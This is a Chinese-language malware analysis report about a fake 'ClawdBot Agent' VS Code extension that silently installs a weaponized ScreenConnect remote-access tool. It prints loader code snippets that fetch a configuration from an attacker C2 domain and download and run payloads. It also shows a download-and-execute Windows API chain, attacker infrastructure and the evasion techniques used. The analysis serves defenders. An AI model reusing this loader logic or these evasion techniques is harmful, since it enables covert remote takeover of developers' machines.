摘要

這份報告詳細分析了一個惡意的 Visual Studio Code (VS Code) 擴充功能,該功能冒充熱門的「ClawdBot Agent」,實際上是一個精密的多階段木馬。該惡意軟體的主要目標是透過部署武器化版本的合法 ConnectWise ScreenConnect 遠端存取工具 (RAT) 來建立持久的遠端存取。攻擊鏈的特點是具備高度的作業 Redundancy,採用動態設定擷取、多重 hardcoded 備援路徑,以及專用的 Rust 基礎 DLL sideloading 機制以確保 Payload 送達。使用經過簽署的合法 RAT 二進位檔案,並將其設定為連接到攻擊者控制的基礎設施,代表了一種顯著的規避技術,使傳統安全工具難以偵測。

當心 AI 助手變間諜!假冒 ClawdBot Agent 的武器化 ScreenConnect 技術分析 | 資訊安全新聞

1. 簡介

AI 程式碼助理的普及為針對開發者的供應鏈攻擊提供了肥沃的土壤。於 2026 年 1 月 27 日發現的假冒「ClawdBot Agent」擴充功能說明了這種威脅向量(Threat vector),它利用品牌冒充並提供功能完整的廣告功能,同時執行 malicious payload [1] 。這種雙重功能是其有效性的關鍵因素,因為使用者不太可能懷疑一個表現如預期的擴充功能。核心技術重點在於該惡意軟體強大且多層次的派送系統,以對抗下架嘗試與安全分析而設計。

2. 初始入侵與啟動

初始向量是 VS Code 擴充功能市場(Marketplace)。安裝後,惡意軟體會確保立即執行而無需任何使用者互動。這是透過將擴充功能的啟動事件在 package.json 檔案中設定為在 VS Code 啟動程序完成後觸發來實現的 [1] 。這種名為 "onStartupFinished" 的方法,是在開發者環境中達成持久化與隱匿的強大技術。

惡意活動在擴充功能的主要 JavaScript 檔案中啟動,其中的合法 activate() 函式被 hook,以便在繼續執行良性的 AI 助理程式碼之前呼叫核心初始化函式。這確保了惡意軟體在使用者與擴充功能互動之前就已部署。

  1. // package.json snippet
  2. {
  3. "activationEvents": ["onStartupFinished"],
  4. // ... other configuration
  5. }
  6. // activate() function snippet from extension.js
  7. function activate(context) {
  8. // Malicious core initialization is called first
  9. initCore(context);
  10. // ... legitimate AI assistant code follows
  11. }

3. 多階段 Payload 派送架構

該惡意軟體採用精密的三層派送架構,以確保成功部署 ScreenConnect RAT payload。這種 Redundancy 是進階持續性威脅 (Advanced Persistent Threats, APT) 的特徵,並突顯了攻擊者對作業連續性的承諾。

3.1. 動態設定與主要 C2

主要的派送機制涉及從命令與控制 (C2) 伺服器擷取動態設定檔案 config.json 。初始 JavaScript 函式 fetchConfigAndRun() 嘗試從 http://clawdbot[.]getintwopc[.]site/config.json 取得此檔案 [1] 。該設定決定了要下載並執行的檔案,在分析的範例中,這包括偽裝成 VS Code 組件的 Electron 應用程式套件,特別是 Code.exe DWrite.dll

  1. // Simplified fetchConfigAndRun() logic
  2. const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  3. function fetchConfigAndRun() {
  4. http.get(CONFIG_URL, (res) => {
  5. // ... data collection
  6. res.on('end', () => {
  7. try {
  8. const config = JSON.parse(data);
  9. if (config.enabled) {
  10. // Primary payload execution
  11. downloadAndRun(config.exe, config.dll);
  12. }
  13. } catch (e) {
  14. // Silent failure and fallback
  15. runFallbackDownload();
  16. }
  17. });
  18. }).on('error', () => {
  19. // C2 server failure triggers fallback
  20. runFallbackDownload();
  21. });
  22. }

一個關鍵的觀察是使用了空的 catch 區塊,這確保了 C2 通訊或設定解析中的任何失敗都會被安靜地處理,立即觸發備援機制而不會提醒使用者 [1] 。這種技術在現代惡意軟體中很常見,用以增強隱匿性與韌性,類似於在其他精密 Loaders 中看到的規避策略 [2]

3.2. Redundant 備援機制

該惡意軟體結合了另外兩個備援機制:

  1. JavaScript 備援: runFallbackDownload() 函式內的 hardcoded URL 指向相同主要 C2 網域上的 Lightshot.exe Lightshot.dll 。這表明 payload 的演進,攻擊者從較簡單的 dropper(偽裝成螢幕截圖工具 Lightshot)升級為更複雜的 VS Code 冒充者,但保留了舊的備援程式碼 [1]
  2. Batch Script 備援: 一個獨立的批次腳本 scripts/run.bat 利用 PowerShell 從完全不同的網域 darkgptprivate[.]com 下載 payload,該網域解析至境外 IP 位址 [1] 。這提供了獨立的執行路徑與基礎設施,即使 Node.js 環境或主要網域遭到封鎖,也能確保送達。

4. 合法軟體的武器化

最終的 payload Code.exe 並非客製化的惡意二進位檔案,而是預先設定好且武器化的 ConnectWise ScreenConnect 安裝程式。這種技術通常被稱為 「Bring Your Own ScreenConnect」,非常有效,因為該二進位檔案具有數位簽章且受安全軟體信任,使其能夠繞過應用程式白名單與許多啟發式偵測機制 [1] 。惡意組件並非二進位檔案本身,而是嵌入的設定。

嵌入的設定指示 ScreenConnect 用戶端連接到攻擊者的轉發伺服器 meeting.bulletmailer[.]net:8041 ,並使用特定的 RSA 公鑰進行認證 [1] 。這在執行時會立即為攻擊者建立遠端存取 Session。安裝 Path 也經過偽裝,使用看起來合法的目錄結構: C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\

  1. // Extracted ScreenConnect Configuration Snippet
  2. <ScreenConnect.ApplicationSettings>
  3. <setting name="ClientLaunchParametersConstraint">
  4. <value>?h=meeting.bulletmailer.net&amp;p=8041&amp;k=BgIAAACkAABSU0Ex...</value>
  5. </setting>
  6. </ScreenConnect.ApplicationSettings>

這種方法反映了遠端存取木馬 (RAT) 與 Loaders 利用合法基礎設施和信任協定(例如使用 Discord API 或 WebSockets 進行 C2 通訊)來規避網路監控的廣泛趨勢 [3]

5. 進階規避與偽裝技術

該惡意軟體結合了多種技術來規避靜態分析動態分析,進一步增強其隱匿性。

5.1. DLL Sideloading 與 Rust-Based Loader

次要 payload DWrite.dll 作為 Redundant 派送機制,是 DLL sideloading 的典型範例。該 DLL 以 Rust 編寫,匯出函式 DWriteCreateFactory ,冒充合法的 Windows DirectWrite 程式庫 [1] 。當合法應用程式嘗試載入真實的 DLL 時,會改為載入惡意版本,觸發 payload 派送鏈。

DWrite.dll Loader 使用 Windows API 呼叫執行經典的下載-寫入-執行鏈:

  1. // DWrite.dll Payload Delivery Chain (Conceptual C-like representation)
  2. // 1. Open internet connection
  3. InternetOpenA(...)
  4. // 2. Fetch payload from URL
  5. InternetOpenUrlA(...)
  6. // 3. Create file in TEMP
  7. CreateFileA(local_path, ...)
  8. // 4. Download loop
  9. while (InternetReadFile(...) && bytes_read != 0) {
  10. WriteFile(local_file, buffer, bytes_read, ...);
  11. }
  12. // 5. Execute the downloaded file
  13. ShellExecuteA(NULL, "open", downloaded_file, ...);

此 Loader 從 Dropbox 連結擷取二階段 payload zoomupdate.msi ,展示了四層偽裝:ClawdBot (擴充功能) → VS Code (payload 名稱) → Lightshot (暫存資料夾) → Zoom (Dropbox payload 名稱) [1]

5.2. 反分析措施

Rust-Based Loader 包含多項反分析檢查,以偵測沙箱與虛擬環境 [1]

  • 時間檢查: 使用 GetSystemTimeAsFileTime QueryPerformanceCounter 來偵測表示虛擬化環境或沙箱的時間異常。
  • 動態 API 解析: 採用 LoadLibraryA GetProcAddress 在執行時期解析關鍵的 Windows API 函式。此技術對靜態分析工具隱藏匯入表,使得在沒有動態執行的情況下難以判定 DLL 的惡意意圖。
  • 權限檢查: 使用 OpenProcessToken 搭配 TOKEN_QUERY 來探測環境,並可能根據程序權限調整行為。

這些技術與在其他惡意軟體 Loader(如 HijackLoader)中觀察到的進階規避策略一致,這些 Loader 利用諸如呼叫堆疊欺騙等複雜方法來混淆端點偵測與回應 (Endpoint Detection and Response, EDR) 系統 [2]

6. 架構概覽

整體攻擊架構可以視覺化為一個高度 Redundant 的多階段程序,將成功的 RAT 部署優先於其他所有事項。使用合法的 ScreenConnect 二進位檔案是最後也是最有效的偽裝層。

graph TD A[VS Code Extension:
ClawdBot Agent] --> B{onStartupFinished}; B --> C["Extension.js:
initCore()"]; C --> D{"Primary C2:
clawdbot.getintwopc[.]site/config.json"}; D -- Success --> E["Download & Execute:
Code.exe
(ScreenConnect)
&
DWrite.dll"]; D -- Failure --> F["JS Fallback:
Lightshot.exe/dll"]; C --> G["Batch Script Fallback:
darkgptprivate[.]com"]; E --> H[Weaponized ScreenConnect RAT]; H --> I["Attacker C2:
meeting.bulletmailer[.]net:8041"]; E --> J["DWrite.dll (Rust Loader) - DLL Sideloading"]; J --> K["Dropbox C2:
zoomupdate.msi"]; K --> E; style A fill:#f9f,stroke:#333,stroke-width:2px style D font-size:11px style H fill:#fcc,stroke:#f00,stroke-width:2px style I fill:#f99,stroke:#f00,stroke-width:2px, font-size:13px style J fill:#ccf,stroke:#00f,stroke-width:2px style K fill:#ccf,stroke:#00f,stroke-width:2px

圖 1:多階段 ClawdBot 惡意軟體派送架構。 該圖說明了主要路徑(D 到 E 到 H)以及兩個關鍵的 Redundancy 路徑:JavaScript/Batch 備援(F 與 G)以及 DLL sideloading 備份(J 到 K)。最終的 payload (H) 是武器化的合法 RAT。

7. 結論

假冒的 ClawdBot VS Code 擴充功能代表了一種精密的供應鏈攻擊,它利用品牌信任與作業 Redundancy 來部署持久的遠端存取木馬。攻擊者透過將合法的、有簽章的應用程式 (ScreenConnect) 武器化,並採用進階規避技術(包括 DLL sideloading、動態 API 解析與反分析檢查),展示了對防禦限制的深刻理解。從初始擴充功能到最終 payload 檔案名稱的多層次偽裝,目的在混淆防禦者並確保 RAT 的成功建立。此案例強調了在開發者生態系統中加強安全措施的必要性,特別是專注於行為分析以及監控來自受信任應用程式到可疑 C2 基礎設施的對外連線。